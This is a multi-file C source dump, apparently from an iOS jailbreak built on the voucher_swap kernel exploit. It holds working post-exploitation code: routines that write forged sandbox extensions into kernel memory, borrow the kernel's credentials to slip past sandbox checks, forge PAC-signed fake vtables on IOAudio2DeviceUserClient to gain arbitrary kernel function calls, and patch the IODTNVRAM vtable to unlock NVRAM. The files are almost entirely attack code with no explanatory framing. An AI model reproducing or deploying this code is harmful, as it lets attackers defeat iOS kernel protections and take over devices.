80 | ext.type = 0;
81 | ext.subtype = 0;
82 |
83 | ext.data = (void*)ks;
84 | ext.data_len = slen;
85 |
86 | ext.num = 1;
87 | ext.num3 = 1;
88 |
89 | kwrite(ext_p, &ext, sizeof(ext));
90 | } else {
91 | // XXX oh no a leak
92 | }
93 |
94 | return ext_p;
95 | }
96 |
97 | int hashing_magic(const char *desc) {
98 | unsigned int hashed;
99 | char ch, ch2;
100 | char *chp;
101 |
102 | ch = *desc;
103 |
104 | if (*desc) {
105 | chp = (char *)(desc + 1);
106 | hashed = 0x1505;
107 |
108 | do {
109 | hashed = 33 * hashed + ch;
110 | ch2 = *chp++;
111 | ch = ch2;
112 | }
113 | while (ch2);
114 | }
115 | else hashed = 0x1505;
116 |
117 | return hashed % 9;
118 | }
119 |
120 | static const char *ent_key = "com.apple.security.exception.files.absolute-path.read-only";
121 |
122 | uint64_t make_ext_hdr(const char* key, uint64_t ext_lst) {
123 | struct extension_hdr hdr;
124 |
125 | uint64_t khdr = smalloc(sizeof(hdr) + strlen(key) + 1);
126 |
127 | if (khdr) {
128 | // we add headers to end
129 | hdr.next = 0;
130 | hdr.ext_lst = ext_lst;
131 |
132 | kwrite(khdr, &hdr, sizeof(hdr));
133 | kwrite(khdr + offsetof(struct extension_hdr, desc), key, strlen(key) + 1);
134 | }
135 |
136 | return khdr;
137 | }
138 |
139 | void extension_add(uint64_t ext, uint64_t sb, const char* desc) {
140 | // XXX patchfinder + kexecute would be way better
141 |
142 | int slot = hashing_magic(ent_key);
143 | uint64_t ext_table = rk64(sb + sizeof(void *));
144 | uint64_t insert_at_p = ext_table + slot * sizeof(void*);
145 | uint64_t insert_at = rk64(insert_at_p);
146 |
147 | while (insert_at != 0) {
148 | uint64_t kdsc = insert_at + offsetof(struct extension_hdr, desc);
149 |
150 | if (kstrcmp(kdsc, desc) == 0) {
151 | break;
152 | }
153 |
154 | insert_at_p = insert_at;
155 | insert_at = rk64(insert_at);
156 | }
157 |
158 | if (insert_at == 0) {
159 | insert_at = make_ext_hdr(ent_key, ext);
160 | wk64(insert_at_p, insert_at);
161 | } else {
162 | // XXX no duplicate check
163 | uint64_t ext_lst_p = insert_at + offsetof(struct extension_hdr, ext_lst);
164 | uint64_t ext_lst = rk64(ext_lst_p);
165 |
166 | while (ext_lst != 0) {
167 | printf("ext_lst_p = 0x%llx ext_lst = 0x%llx", ext_lst_p, ext_lst);
168 | ext_lst_p = ext_lst + offsetof(struct extension, next);
169 | ext_lst = rk64(ext_lst_p);
170 | }
171 |
172 | printf("ext_lst_p = 0x%llx ext_lst = 0x%llx", ext_lst_p, ext_lst);
173 |
174 | wk64(ext_lst_p, ext);
175 | }
176 | }
177 |
178 | // 1 if yes
179 | int has_file_extension(uint64_t sb, const char* path) {
180 | const char* desc = ent_key;
181 | int found = 0;
182 |
183 | int slot = hashing_magic(ent_key);
184 | uint64_t ext_table = rk64(sb + sizeof(void *));
185 | uint64_t insert_at_p = ext_table + slot * sizeof(void*);
186 | uint64_t insert_at = rk64(insert_at_p);
187 |
188 | while (insert_at != 0) {
189 | uint64_t kdsc = insert_at + offsetof(struct extension_hdr, desc);
190 |
191 | if (kstrcmp(kdsc, desc) == 0) {
192 | break;
193 | }
194 |
195 | insert_at_p = insert_at;
196 | insert_at = rk64(insert_at);
197 | }
198 |
199 | if (insert_at != 0) {
200 | uint64_t ext_lst = rk64(insert_at + offsetof(struct extension_hdr, ext_lst));
201 |
202 | uint64_t plen = strlen(path);
203 | char *exist = malloc(plen + 1);
204 | exist[plen] = '\0';
205 |
206 | while (ext_lst != 0) {
207 | // XXX no type/subtype check
208 | uint64_t data_len = rk64(ext_lst + offsetof(struct extension, data_len));
209 | if (data_len == plen) {
210 | uint64_t data = rk64(ext_lst + offsetof(struct extension, data));
211 | kread(data, exist, plen);
212 |
213 | if (strcmp(path, exist) == 0) {
214 | found = 1;
215 | break;
216 | }
217 | }
218 |
219 | ext_lst = rk64(ext_lst);
220 | }
221 |
222 | free(exist);
223 | }
224 |
225 | return found;
226 | }
227 |
--------------------------------------------------------------------------------
/sandbox.h:
--------------------------------------------------------------------------------
1 |
2 | // see https://stek29.rocks/2018/01/26/sandbox.html
3 |
4 | void extension_add(uint64_t ext, uint64_t sb, const char* desc);
5 | uint64_t extension_create_file(const char* path, uint64_t nextptr);
6 | int has_file_extension(uint64_t sb, const char* path);
7 |
--------------------------------------------------------------------------------
/user_client.c:
--------------------------------------------------------------------------------
1 | /*
2 | * kernel_call/user_client.c
3 | * Brandon Azad
4 | */
5 | #include "user_client.h"
6 |
7 | #include
8 |
9 | #include "IOKitLib.h"
10 | #include "kernel_call.h"
11 | #include "kc_parameters.h"
12 | #include "pac.h"
13 | #include "kernel_memory.h"
14 | #include "kernel_slide.h"
15 | #include "log.h"
16 | #include "mach_vm.h"
17 | #include "parameters.h"
18 | #include "kern_utils.h"
19 |
20 | // ---- Global variables --------------------------------------------------------------------------
21 |
22 | // The connection to the user client.
23 | static io_connect_t connection;
24 |
25 | // The address of the user client.
26 | static uint64_t user_client;
27 |
28 | // The address of the IOExternalTrap.
29 | static uint64_t trap;
30 |
31 | // The size of our kernel buffer.
32 | static const size_t kernel_buffer_size = 0x4000;
33 |
34 | // The address of our kernel buffer.
35 | static uint64_t kernel_buffer;
36 |
37 | // The maximum size of the vtable.
38 | static const size_t max_vtable_size = 0x1000;
39 |
40 | // The user client's original vtable pointer.
41 | static uint64_t original_vtable;
42 |
43 | static uint64_t original_nvram_vtable = 0;
44 | static uint64_t fake_nvram_vtable = 0;
45 | static io_service_t IODTNVRAMSrv = MACH_PORT_NULL;
46 |
47 | // it always returns false
48 | const uint64_t searchNVRAMProperty = 0x590;
49 | // 0 corresponds to root only
50 | const uint64_t getOFVariablePerm = 0x558;
51 |
52 | // get kernel address of IODTNVRAM object
53 | uint64_t get_iodtnvram_obj(void) {
54 | if (!MACH_PORT_VALID(IODTNVRAMSrv)) {
55 | IODTNVRAMSrv = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IODTNVRAM"));
56 | };
57 | assert(MACH_PORT_VALID(IODTNVRAMSrv));
58 | uint64_t nvram_up;
59 | bool ok = kernel_ipc_port_lookup(current_task, IODTNVRAMSrv, &nvram_up, NULL);
60 | assert(ok);
61 | uint64_t IODTNVRAMObj = kernel_read64(nvram_up + OFFSET(ipc_port, ip_kobject));
62 | return IODTNVRAMObj;
63 | }
64 |
65 | void unlocknvram(void) {
66 | uint64_t obj = get_iodtnvram_obj();
67 |
68 | original_nvram_vtable = kernel_read64(obj);
69 | uint64_t vtable_xpac = kernel_xpacd(original_nvram_vtable);
70 | // copy vtable to userspace
71 | uint64_t *buf = calloc(1, max_vtable_size);
72 | assert(buf);
73 | DEBUG_TRACE(2, "nvram vtable at 0x%016llx (unslid: 0x%016llx)", vtable_xpac, vtable_xpac-kernel_slide);
74 |
75 | kernel_read(vtable_xpac, buf, max_vtable_size);
76 |
77 | /*
78 | // bruteforce unknown types (too lazy for static analysys)
79 | for (size_t i=0; i < max_vtable_size/sizeof(*buf); ++i) {
80 | uint16_t type = 1;
81 | if (i < VTABLE_PAC_CODES(IODTNVRAM).count) {
82 | type = VTABLE_PAC_CODES(IODTNVRAM).codes[i];
83 | }
84 |
85 | uint64_t expected = buf[i];
86 | if (expected == 0) {
87 | break;
88 | }
89 | uint64_t ctx_addr = vtable_xpac + i * sizeof(*buf);
90 | uint64_t addr = kernel_xpaci(expected);
91 |
92 | uint64_t actual = 0;
93 |
94 | while (type != 0) {
95 | actual = kernel_forge_pacia_with_type(addr, ctx_addr, type);
96 | if (actual == expected) {
97 | break;
98 | }
99 | type++;
100 | }
101 | if (actual == expected) {
102 | DEBUG_TRACE(1, "type for %03zu: 0x%04x", i, type);
103 | } else {
104 | DEBUG_TRACE(1, "type for %03zu: FAIL ", i);
105 | }
106 | }
107 | return free(buf);
108 | */
109 | // alter it
110 | buf[getOFVariablePerm/sizeof(uint64_t)] = kernel_xpaci(buf[searchNVRAMProperty/sizeof(uint64_t)]);
111 |
112 | // allocate buffer in kernel
113 | kern_return_t kr = mach_vm_allocate(tfpzero, &fake_nvram_vtable,
114 | kernel_buffer_size, VM_FLAGS_ANYWHERE);
115 | if (kr != KERN_SUCCESS) {
116 | ERROR("%s returned %d: %s", "mach_vm_allocate", kr, mach_error_string(kr));
117 | ERROR("could not allocate kernel buffer");
118 | }
119 | DEBUG_TRACE(1, "allocated kernel buffer at 0x%016llx", fake_nvram_vtable);
120 |
121 | // Forge the pacia pointers to the virtual methods.
122 | size_t count = 0;
123 | for (; count < max_vtable_size / sizeof(*buf); count++) {
124 | uint64_t vmethod = buf[count];
125 | if (vmethod == 0) {
126 | break;
127 | }
128 | //#if __arm64e__
129 | assert(count < VTABLE_PAC_CODES(IODTNVRAM).count);
130 | // DEBUG_TRACE(1, "for %03zu, current 0x%016llx, calculated 0x%016llx", count, vmethod,
131 | // kernel_forge_pacia_with_type(kernel_xpaci(vmethod), vtable_xpac+count * sizeof(*buf),
132 | // VTABLE_PAC_CODES(IODTNVRAM).codes[count]));
133 | vmethod = kernel_xpaci(vmethod);
134 | uint64_t vmethod_address = fake_nvram_vtable + count * sizeof(*buf);
135 | buf[count] = kernel_forge_pacia_with_type(vmethod, vmethod_address,
136 | VTABLE_PAC_CODES(IODTNVRAM).codes[count]);
137 | //#endif // __arm64e__
138 | }
139 |
140 | // and copy it back
141 | kernel_write(fake_nvram_vtable, buf, count*sizeof(*buf));
142 | // replace vtable on IODTNVRAM object
143 | kernel_write64(obj, kernel_forge_pacda(fake_nvram_vtable, 0));
144 | free(buf);
145 | }
146 |
147 | void locknvram(void) {
148 | if (fake_nvram_vtable == 0 || original_nvram_vtable == 0) return;
149 |
150 | if (original_nvram_vtable != 0) {
151 | uint64_t obj = get_iodtnvram_obj();
152 | kernel_write64(obj, original_nvram_vtable);
153 | }
154 |
155 | if (fake_nvram_vtable != 0) {
156 | mach_vm_deallocate(mach_task_self(), fake_nvram_vtable, kernel_buffer_size);
157 | fake_nvram_vtable = 0;
158 | }
159 |
160 | if (MACH_PORT_VALID(IODTNVRAMSrv)) {
161 | IOServiceClose(IODTNVRAMSrv);
162 | IODTNVRAMSrv = MACH_PORT_NULL;
163 | }
164 | }
165 |
166 |
167 | // ---- Stage 1 -----------------------------------------------------------------------------------
168 |
169 | /*
170 | * kernel_get_proc_for_task
171 | *
172 | * Description:
173 | * Get the proc struct for a task.
174 | */
175 | static uint64_t
176 | kernel_get_proc_for_task(uint64_t task) {
177 | return kernel_read64(task + OFFSET(task, bsd_info));
178 | }
179 |
180 | /*
181 | * stage0_create_user_client
182 | *
183 | * Description:
184 | * Create a connection to an IOAudio2DeviceUserClient object.
185 | */
186 | static bool
187 | stage0_create_user_client() {
188 | bool success = false;
189 | // First get a handle to some IOAudio2Device driver.
190 | io_iterator_t iter;
191 | kern_return_t kr = IOServiceGetMatchingServices(
192 | kIOMasterPortDefault,
193 | IOServiceMatching("IOAudio2Device"),
194 | &iter);
195 | if (iter == MACH_PORT_NULL) {
196 | ERROR("could not find services matching %s", "IOAudio2Device");
197 | goto fail_0;
198 | }
199 | // Assume the kernel's credentials in order to look up the user client. Otherwise we'd be
200 | // denied with a sandbox error.
201 | uint64_t ucred_field, ucred;
202 | assume_kernel_credentials(&ucred_field, &ucred);
203 | // Now try to open each service in turn.
204 | for (;;) {
205 | // Get the service.
206 | mach_port_t IOAudio2Device = IOIteratorNext(iter);
207 | if (IOAudio2Device == MACH_PORT_NULL) {
208 | ERROR("could not open any %s", "IOAudio2Device");
209 | break;
210 | }
211 | // Now open a connection to it.
212 | kr = IOServiceOpen(
213 | IOAudio2Device,
214 | mach_task_self(),
215 | 0,
216 | &connection);
217 | IOObjectRelease(IOAudio2Device);
218 | if (kr == KERN_SUCCESS) {
219 | success = true;
220 | break;
221 | }
222 | DEBUG_TRACE(2, "%s returned 0x%x: %s", "IOServiceOpen", kr, mach_error_string(kr));
223 | DEBUG_TRACE(2, "could not open %s", "IOAudio2DeviceUserClient");
224 | }
225 | // Restore the credentials.
226 | restore_credentials(ucred_field, ucred);
227 | fail_1:
228 | IOObjectRelease(iter);
229 | fail_0:
230 | return success;
231 | }
232 |
233 | /*
234 | * stage0_find_user_client_trap
235 | *
236 | * Description:
237 | * Get the address of the IOAudio2DeviceUserClient and its IOExternalTrap.
238 | */
239 | static void
240 | stage0_find_user_client_trap() {
241 | assert(MACH_PORT_VALID(connection));
242 | // Get the address of the port representing the IOAudio2DeviceUserClient.
243 | uint64_t user_client_port;
244 | bool ok = kernel_ipc_port_lookup(current_task, connection, &user_client_port, NULL);
245 | assert(ok);
246 | // Get the address of the IOAudio2DeviceUserClient.
247 | user_client = kernel_read64(user_client_port + OFFSET(ipc_port, ip_kobject));
248 | // Get the address of the IOExternalTrap.
249 | trap = kernel_read64(user_client + OFFSET(IOAudio2DeviceUserClient, traps));
250 | DEBUG_TRACE(2, "%s is at 0x%016llx", "IOExternalTrap", trap);
251 | }
252 |
253 | /*
254 | * stage0_allocate_kernel_buffer
255 | *
256 | * Description:
257 | * Allocate a buffer in kernel memory.
258 | */
259 | static bool
260 | stage0_allocate_kernel_buffer() {
261 | kern_return_t kr = mach_vm_allocate(tfpzero, &kernel_buffer,
262 | kernel_buffer_size, VM_FLAGS_ANYWHERE);
263 | if (kr != KERN_SUCCESS) {
264 | ERROR("%s returned %d: %s", "mach_vm_allocate", kr, mach_error_string(kr));
265 | ERROR("could not allocate kernel buffer");
266 | return false;
267 | }
268 | DEBUG_TRACE(1, "allocated kernel buffer at 0x%016llx", kernel_buffer);
269 | return true;
270 | }
271 |
272 | // ---- Stage 3 -----------------------------------------------------------------------------------
273 |
274 | /*
275 | * kernel_read_vtable_method
276 | *
277 | * Description:
278 | * Read the virtual method pointer at the specified index in the vtable.
279 | */
280 | static uint64_t
281 | kernel_read_vtable_method(uint64_t vtable, size_t index) {
282 | uint64_t vmethod_address = vtable + index * sizeof(uint64_t);
283 | return kernel_read64(vmethod_address);
284 | }
285 |
286 | /*
287 | * stage2_copyout_user_client_vtable
288 | *
289 | * Description:
290 | * Copy out the user client's vtable to userspace. The returned array must be freed when no
291 | * longer needed.
292 | */
293 | static uint64_t *
294 | stage2_copyout_user_client_vtable() {
295 | // Get the address of the vtable.
296 | original_vtable = kernel_read64(user_client);
297 | uint64_t original_vtable_xpac = kernel_xpacd(original_vtable);
298 | // Read the contents of the vtable to local buffer.
299 | uint64_t *vtable_contents = malloc(max_vtable_size);
300 | assert(vtable_contents != NULL);
301 | kernel_read(original_vtable_xpac, vtable_contents, max_vtable_size);
302 | return vtable_contents;
303 | }
304 |
305 | /*
306 | * stage2_patch_user_client_vtable
307 | *
308 | * Description:
309 | * Patch the contents of the user client's vtable in preparation for stage 3.
310 | */
311 | static size_t
312 | stage2_patch_user_client_vtable(uint64_t *vtable) {
313 | // Replace the original vtable's IOUserClient::getTargetAndTrapForIndex() method with the
314 | // original version (which calls IOUserClient::getExternalTrapForIndex()).
315 | uint64_t IOUserClient__getTargetAndTrapForIndex = kernel_read_vtable_method(
316 | ADDRESS(IOUserClient__vtable),
317 | VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex));
318 | vtable[VTABLE_INDEX(IOUserClient, getTargetAndTrapForIndex)]
319 | = IOUserClient__getTargetAndTrapForIndex;
320 | // Replace the original vtable's IOUserClient::getExternalTrapForIndex() method with
321 | // IORegistryEntry::getRegistryEntryID().
322 | vtable[VTABLE_INDEX(IOUserClient, getExternalTrapForIndex)] =
323 | ADDRESS(IORegistryEntry__getRegistryEntryID);
324 | // Forge the pacia pointers to the virtual methods.
325 | size_t count = 0;
326 | for (; count < max_vtable_size / sizeof(*vtable); count++) {
327 | uint64_t vmethod = vtable[count];
328 | if (vmethod == 0) {
329 | break;
330 | }
331 | //#if __arm64e__
332 | assert(count < VTABLE_PAC_CODES(IOAudio2DeviceUserClient).count);
333 | vmethod = kernel_xpaci(vmethod);
334 | uint64_t vmethod_address = kernel_buffer + count * sizeof(*vtable);
335 | vtable[count] = kernel_forge_pacia_with_type(vmethod, vmethod_address,
336 | VTABLE_PAC_CODES(IOAudio2DeviceUserClient).codes[count]);
337 | //#endif // __arm64e__
338 | }
339 | return count;
340 | }
341 |
342 | /*
343 | * stage2_patch_user_client
344 | *
345 | * Description:
346 | * Patch the user client in preparation for stage 3.
347 | */
348 | static void
349 | stage2_patch_user_client(uint64_t *vtable, size_t count) {
350 | // Write the vtable to the kernel buffer.
351 | kernel_write(kernel_buffer, vtable, count * sizeof(*vtable));
352 | // Overwrite the user client's registry entry ID to point to the IOExternalTrap.
353 | uint64_t reserved_field = user_client + OFFSET(IORegistryEntry, reserved);
354 | uint64_t reserved = kernel_read64(reserved_field);
355 | uint64_t id_field = reserved + OFFSET(IORegistryEntry__ExpansionData, fRegistryEntryID);
356 | kernel_write64(id_field, trap);
357 | // Forge the pacdza pointer to the vtable.
358 | uint64_t vtable_pointer = kernel_forge_pacda(kernel_buffer, 0);
359 | // Overwrite the user client's vtable pointer with the forged pointer to our fake vtable.
360 | kernel_write64(user_client, vtable_pointer);
361 | }
362 |
363 | /*
364 | * stage2_unpatch_user_client
365 | *
366 | * Description:
367 | * Undo the patches to the user client.
368 | */
369 | static void
370 | stage2_unpatch_user_client() {
371 | // Write the original vtable pointer back to the user client.
372 | kernel_write64(user_client, original_vtable);
373 | }
374 |
375 | // ---- API ---------------------------------------------------------------------------------------
376 |
377 | bool
378 | stage1_kernel_call_init() {
379 | // Initialize the parameters. We do this first to fail early.
380 | bool ok = kernel_call_parameters_init();
381 | if (!ok) {
382 | return false;
383 | }
384 | // Create the IOAudio2DeviceUserClient.
385 | ok = stage0_create_user_client();
386 | if (!ok) {
387 | ERROR("could not create %s", "IOAudio2DeviceUserClient");
388 | return false;
389 | }
390 | // Find the IOAudio2DeviceUserClient's IOExternalTrap.
391 | stage0_find_user_client_trap();
392 | // Allocate the kernel buffer.
393 | ok = stage0_allocate_kernel_buffer();
394 | if (!ok) {
395 | return false;
396 | }
397 | return true;
398 | }
399 |
400 | void
401 | stage1_kernel_call_deinit() {
402 | if (trap != 0) {
403 | // Zero out the trap.
404 | uint8_t trap_data[SIZE(IOExternalTrap)];
405 | memset(trap_data, 0, SIZE(IOExternalTrap));
406 | kernel_write(trap, trap_data, SIZE(IOExternalTrap));
407 | trap = 0;
408 | }
409 | if (kernel_buffer != 0) {
410 | // Deallocate our kernel buffer.
411 | mach_vm_deallocate(mach_task_self(), kernel_buffer, kernel_buffer_size);
412 | kernel_buffer = 0;
413 | }
414 | if (MACH_PORT_VALID(connection)) {
415 | // Close the connection.
416 | IOServiceClose(connection);
417 | connection = MACH_PORT_NULL;
418 | }
419 | }
420 |
421 | uint64_t
422 | stage1_get_kernel_buffer() {
423 | assert(kernel_buffer_size >= 0x2000);
424 | return kernel_buffer + kernel_buffer_size - 0x1000;
425 | }
426 |
427 | uint32_t
428 | stage1_kernel_call_7v(uint64_t function, size_t argument_count, const uint64_t arguments[]) {
429 | assert(function != 0);
430 | assert(argument_count <= 7);
431 | assert(argument_count == 0 || arguments[0] != 0);
432 | assert(MACH_PORT_VALID(connection) && trap != 0);
433 | // Get exactly 7 arguments. Initialize args[0] to 1 in case there are no arguments.
434 | uint64_t args[7] = { 1 };
435 | for (size_t i = 0; i < argument_count && i < 7; i++) {
436 | args[i] = arguments[i];
437 | }
438 | // Initialize the IOExternalTrap for this call.
439 | uint8_t trap_data[SIZE(IOExternalTrap)];
440 | FIELD(trap_data, IOExternalTrap, object, uint64_t) = args[0];
441 | FIELD(trap_data, IOExternalTrap, function, uint64_t) = function;
442 | FIELD(trap_data, IOExternalTrap, offset, uint64_t) = 0;
443 | kernel_write(trap, trap_data, SIZE(IOExternalTrap));
444 | // Perform the function call.
445 | uint32_t result = IOConnectTrap6(connection, 0,
446 | args[1], args[2], args[3], args[4], args[5], args[6]);
447 | return result;
448 | }
449 |
450 | bool
451 | stage3_kernel_call_init() {
452 | uint64_t *vtable = stage2_copyout_user_client_vtable();
453 | size_t count = stage2_patch_user_client_vtable(vtable);
454 | stage2_patch_user_client(vtable, count);
455 | free(vtable);
456 | return true;
457 | }
458 |
459 | void
460 | stage3_kernel_call_deinit() {
461 | if (original_vtable != 0) {
462 | stage2_unpatch_user_client();
463 | original_vtable = 0;
464 | }
465 | }
466 |
467 | uint32_t
468 | kernel_call_7v(uint64_t function, size_t argument_count, const uint64_t arguments[]) {
469 | return stage2_kernel_call_7v(function, argument_count, arguments);
470 | }
471 |
472 | void
473 | assume_kernel_credentials(uint64_t *ucred_field, uint64_t *ucred) {
474 | uint64_t proc_self = kernel_get_proc_for_task(current_task);
475 | uint64_t kernel_proc = kernel_get_proc_for_task(kernel_task);
476 | uint64_t proc_self_ucred_field = proc_self + OFFSET(proc, p_ucred);
477 | uint64_t kernel_proc_ucred_field = kernel_proc + OFFSET(proc, p_ucred);
478 | uint64_t proc_self_ucred = kernel_read64(proc_self_ucred_field);
479 | uint64_t kernel_proc_ucred = kernel_read64(kernel_proc_ucred_field);
480 | kernel_write64(proc_self_ucred_field, kernel_proc_ucred);
481 | *ucred_field = proc_self_ucred_field;
482 | *ucred = proc_self_ucred;
483 | }
484 |
485 | void
486 | restore_credentials(uint64_t ucred_field, uint64_t ucred) {
487 | kernel_write64(ucred_field, ucred);
488 | }
489 |
--------------------------------------------------------------------------------
/user_client.h:
--------------------------------------------------------------------------------
1 | /*
2 | * kernel_call/user_client.h
3 | * Brandon Azad
4 | */
5 | #ifndef VOUCHER_SWAP__KERNEL_CALL__USER_CLIENT_H_
6 | #define VOUCHER_SWAP__KERNEL_CALL__USER_CLIENT_H_
7 |
8 | #include
9 | #include
10 | #include
11 |
12 | /*
13 | * stage1_kernel_call_init
14 | *
15 | * Description:
16 | * Initialize stage 1 of kernel function calling.
17 | *
18 | * Initializes:
19 | * kernel_call_parameters_init()
20 | * stage1_kernel_call_7v()
21 | */
22 | bool stage1_kernel_call_init(void);
23 |
24 | /*
25 | * stage1_kernel_call_deinit
26 | *
27 | * Description:
28 | * Deinitialize stage 1 of kernel function calling.
29 | */
30 | void stage1_kernel_call_deinit(void);
31 |
32 | /*
33 | * stage1_get_kernel_buffer
34 | *
35 | * Description:
36 | * Get the address of a 0x1000-byte scratch space in kernel memory that can be used by other
37 | * stages.
38 | */
39 | uint64_t stage1_get_kernel_buffer(void);
40 |
41 | /*
42 | * stage1_kernel_call_7v
43 | *
44 | * Description:
45 | * Call a kernel function using our stage 1 execute primitive.
46 | *
47 | * Restrictions:
48 | * At most 7 arguments can be passed.
49 | * The return value is truncated to 32 bits.
50 | * At stage 1, only arguments X1 - X6 are controlled.
51 | * The function pointer must already have a PAC signature.
52 | */
53 | uint32_t stage1_kernel_call_7v(uint64_t function,
54 | size_t argument_count, const uint64_t arguments[]);
55 |
56 | /*
57 | * stage3_kernel_call_init
58 | *
59 | * Description:
60 | * Initialize stage 3 of kernel function calling.
61 | *
62 | * Initializes:
63 | * kernel_call_7v()
64 | */
65 | bool stage3_kernel_call_init(void);
66 |
67 | /*
68 | * stage3_kernel_call_deinit
69 | *
70 | * Description:
71 | * Deinitialize stage 3 of kernel function calling.
72 | */
73 | void stage3_kernel_call_deinit(void);
74 |
75 | /*
76 | * assume_kernel_credentials
77 | *
78 | * Description:
79 | * Set this process's credentials to the kernel's credentials so that we can bypass sandbox
80 | * checks.
81 | */
82 | void assume_kernel_credentials(uint64_t *ucred_field, uint64_t *ucred);
83 | /*
84 | * restore_credentials
85 | *
86 | * Description:
87 | * Restore this process's credentials after calling assume_kernel_credentials().
88 | */
89 | void restore_credentials(uint64_t ucred_field, uint64_t ucred);
90 |
91 | void unlocknvram(void);
92 | void locknvram(void);
93 | #endif
94 |
--------------------------------------------------------------------------------